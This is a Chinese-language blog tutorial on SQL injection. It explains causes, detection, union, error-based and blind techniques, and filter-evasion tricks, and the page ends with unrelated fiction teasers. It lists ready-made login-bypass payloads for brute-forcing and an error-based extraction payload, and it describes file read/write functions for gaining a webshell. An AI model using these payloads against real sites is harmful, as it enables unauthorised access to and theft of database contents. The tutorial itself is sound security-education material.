SQL注入的基本原理

01 SQL注入简介

SQL注入的原因

  1. 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中

可能存在SQL注入的位置

web应用在获取用户数据的地方,只要带入数据库查询,就可能存在注入

常见的地方包括:

  1. GET数据
  2. POST数据
  3. HTTP头部
  4. COOKIE数据

...

SQL注入的危害

  1. 获取管理员的账号密码
  2. 获取数据库中内容
  3. 修改或插入数据到数据库内
  4. 利用注入漏洞获得webshell

02 SQL注入原理

简单案例讲解

在常见的登录页面,通常使用如下SQL语句:
select * from admin where username='输入的用户名' and password='输入的密码'

如果用户输入的用户名为' or 1=1 -- 注意最后需要有一个空格
拼接起来的SQL语句为
select * from admin where username=' ' or 1=1 -- ' and password='输入的密码'

使用单引号提前闭合,or 1=1永远为真,--将后边的内容注释掉,即完成查询,实现了登录,我们输入的' or 1=1 -- 就可以看作为一个万能密码

SQL语句中的注释

  • (可以用%23代替)

  • --+ 或者--空格 (空格可以用%20代替)

  • /*....*/

  • /*!...*/ 此为内联注释,在mysql中可以执行注释中的语句,其他系统无法执行
    如:select * from articles where id=id

    使用内联注释注入 select *from articles where id=

    -1 /*!union*//*!select*/ 1,2,3,4

    在mysql中可以执行 union select 1,2,3,4

以下列出了一些常见的万能密码

'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

可以将以上密码作为字典,使用burpsuite用枚举的方法进行测试

简单注入漏洞探测

一般网页的CMS逻辑为:CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详细页,URL中article.php?id=文章id读取id对应文章
可以利用Google Hacking寻找可能存在漏洞的URL

简单验证方法,如在URL中?id=1 后边添加内容:

  1. 单引号 '
  2. and 1=1
  3. and 1=2

**逻辑运算
在SQL语句中,and比or的优先级高
select 1=2 and 1=2 or 1=1
返回的结果为1 **

如果页面中mysql报错,证明存在sql注入漏洞
如果报错信息中存在自己输入的值,就是字符型注入,否则是数字型注入

根据页面显示的内容,可以分为报错注入、盲注等

SQL注入的分类

  1. 根据输入数据的分类:
    • 数字型 select * from table where id=@id
    • 字符型 select * from table where id='@id'
  2. 根据注入手法的分类:
    • 联合查询 页面有回显
      使用order by判断出表的列数
      使用select 1,2,3 观察各列的输出情况,替换成想要查询的内容
    • 报错注入 页面有报错信息
      报错信息会显示在页面中,可以执行报错注入
      可以使用group by语句报错,如:
      ?id=1 union select 1,concat(left(rand(),3),'^',(select version()),'^')a,count(*),3 from information_schema.tables group by a --+
    • 布尔盲注 页面有真假状态
      通常使用二分法对数据库名等信息进行长度、ascii码的探测
      根据页面的真假状态进行判断表达式是否正确
    • 延时盲注 页面没有真假状态
      通常使用二分法对数据库名等信息进行长度、ascii码的探测
      使用if(exp,sleep(),1)根据时间判断表达式是否正确
  3. 根据提交方式的分类:
    • GET型 可以直接在URL中修改参数进行测试
    • POST型 需要抓包进行参数修改
  4. 一些特殊的注入:宽字节注入、二次注入

sql注入常用的函数

  • select user()查看当前用户名
  • select database()查看当前数据库
  • select version()查看当前版本
  • Limit m,n 从第m行开始到第m+n行(从0开始索引)
  • order by 获取字段数
  • length() 获取长度
  • ascii() 获取ascii码
  • substring(s,m,n),substr(),mid() 截取字符串
    三个参数分别是截取的字符串,截取的起始位置(从1开始计数),截取长度
  • floor(x) 返回不大于x的最大整数
  • round() 返回参数x最接近的整数
  • rand() 返回0-1之间的随机浮点数
  • load_file() 读取文件,并返回文件内容作为一个字符串
  • select ... into outfile '绝对路径' 写入文件
  • sleep(n) 延时n秒
  • benchmark(n,e) 执行e表达式n次,通过指定较大的n,实现延时
  • if(exp,t,f) 如果exp表达式为真就返回t,为假就返回f

SQL注入绕过方式

  1. 大小写绕过,sql语句对大小写不敏感

    如:AnD、ORdeR

  2. 使用&&、||替换and和or

  3. 双写绕过
    如:ununionion

  4. 编码绕过

    利用URL编码 或 十六进制编码

  5. 内联注释绕过
    mysql中内联注释中的内容会被执行
    如:/*!select*/ * from admin 可以正常执行

  6. 注释被过滤时,要闭合后边

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,033评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,725评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,473评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,846评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,848评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,691评论 1 282
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,053评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,700评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,856评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,676评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,787评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,430评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,034评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,990评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,218评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,174评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,526评论 2 343

推荐阅读更多精彩内容